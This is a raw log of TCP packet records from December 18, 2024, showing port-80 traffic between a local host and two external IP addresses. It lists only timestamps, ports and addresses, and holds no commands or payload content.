Dec 18, 2024 15:56:33.381155968 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.382153034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.382277966 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.382287979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.382919073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.383440971 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.383548021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.383599997 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.383630991 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.384599924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.384618998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.384675980 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.385797024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.385818958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.385881901 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.387058973 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.387115955 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.387145996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.387198925 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.388223886 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.388354063 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.389442921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.389537096 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.389585018 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.390642881 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.390849113 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.390893936 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.390928030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.391845942 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.391897917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.391994953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.392677069 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.393079042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.393151999 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.393474102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.394267082 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.394388914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.394474030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.395445108 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.395519018 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.474031925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.474097967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.474396944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.474538088 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.474596024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.474857092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.474966049 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.475300074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.475354910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.475424051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.475883007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.476035118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.476694107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.476756096 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.476833105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.477327108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.477474928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.477536917 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.478054047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.478179932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.478564024 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.478717089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.478790998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.479441881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.479504108 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.479559898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.480173111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.480319023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.480401039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.480837107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.480959892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.481142998 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.481554985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.481617928 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.481733084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.482345104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.482373953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.482440948 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.483104944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.483377934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.483438969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.483967066 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.484005928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.484014988 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.484460115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.484565973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.484697104 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.485373020 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.485410929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.485466003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.486031055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.486181021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.486243963 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.486785889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.486843109 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.486872911 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.487370014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.487416029 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.487423897 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.487986088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.488138914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.488218069 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.488759995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.488859892 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.488960981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.489444971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.489491940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.489557028 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.490093946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.490212917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.490288019 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.490829945 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.490942955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.490962029 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.491545916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.491625071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.491652012 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.492332935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.492479086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.492563963 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.493978024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.493998051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.494015932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.494035959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.494087934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.494489908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.494550943 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.495182037 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.495242119 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.495302916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.495908976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.495960951 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.496582031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.498136997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498178005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498214960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498253107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498270035 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.498270035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498285055 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.498290062 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498325109 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.498822927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498893976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.498995066 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.499593973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.499676943 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.499749899 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.500180960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.500314951 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.500375986 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.500741005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.500861883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.500925064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.504368067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504386902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504426956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504445076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504467964 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.504479885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504498959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504503012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.504517078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504537106 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.504542112 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.504657030 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.505074024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.505131006 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.505220890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.505609989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.505630016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.505691051 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.505698919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.505733013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.505857944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.506416082 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.506537914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.506647110 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.507152081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.507241964 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.507256985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.507855892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.507957935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.508017063 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.508574963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.508667946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.508737087 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.509252071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.509320021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.509380102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.509989977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.510123014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.510355949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.510703087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.510756016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.510802031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.515825033 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.524560928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.524712086 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.524735928 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.524772882 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.525264978 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.525877953 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.526784897 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.527065039 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.528760910 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.528783083 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.528825045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.528842926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.528870106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.528892994 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.529406071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.529521942 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.529578924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.529645920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.530600071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.530672073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.530731916 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.530795097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.531956911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.532097101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.532128096 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.532188892 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.533143997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.533164978 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.533206940 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.533263922 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.534329891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.534349918 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.534430981 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.535562038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.535605907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.535665989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.536520004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.536724091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.536973953 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.537899971 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.537919998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.538079023 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.539040089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.539196014 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.539258003 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.540366888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.540388107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.540419102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.540447950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.541495085 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.541574001 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.541645050 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.541887999 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.542613983 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.542793989 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.542851925 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.543862104 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.543998003 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.544038057 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.544198036 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.545113087 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.545181990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.545263052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.545356989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.546334982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.546355963 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.546441078 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.547439098 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.547612906 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.548722982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.548799038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.548877001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.549242020 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.549875975 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.550142050 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.551074028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.551211119 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.551254034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.551572084 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.552299976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.552310944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.552402020 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.552725077 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.552840948 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.552897930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.554023981 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.554085970 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.554106951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.554244041 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.555141926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.555238008 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.555262089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.555294991 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.556317091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.556478024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.556535006 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.557971001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.557977915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.558041096 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.558728933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.558779001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.558780909 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.558840990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.560066938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.560096979 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.560122013 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.560152054 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.561155081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.561223984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.561279058 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.562417030 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.562473059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.562521935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.563616037 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.563662052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.563674927 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.563708067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.564779997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.564829111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.564899921 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.565967083 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.566068888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.566081047 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.566334963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.567145109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.567224026 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.567281961 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.568387985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.568473101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.568551064 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.569552898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.569633007 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.569694042 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.570775986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.570835114 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.570854902 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.570961952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.572000980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.572046041 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.572084904 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.572108030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.573242903 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.573311090 CET	49806	80	192.168.2.10	185.215.113.16
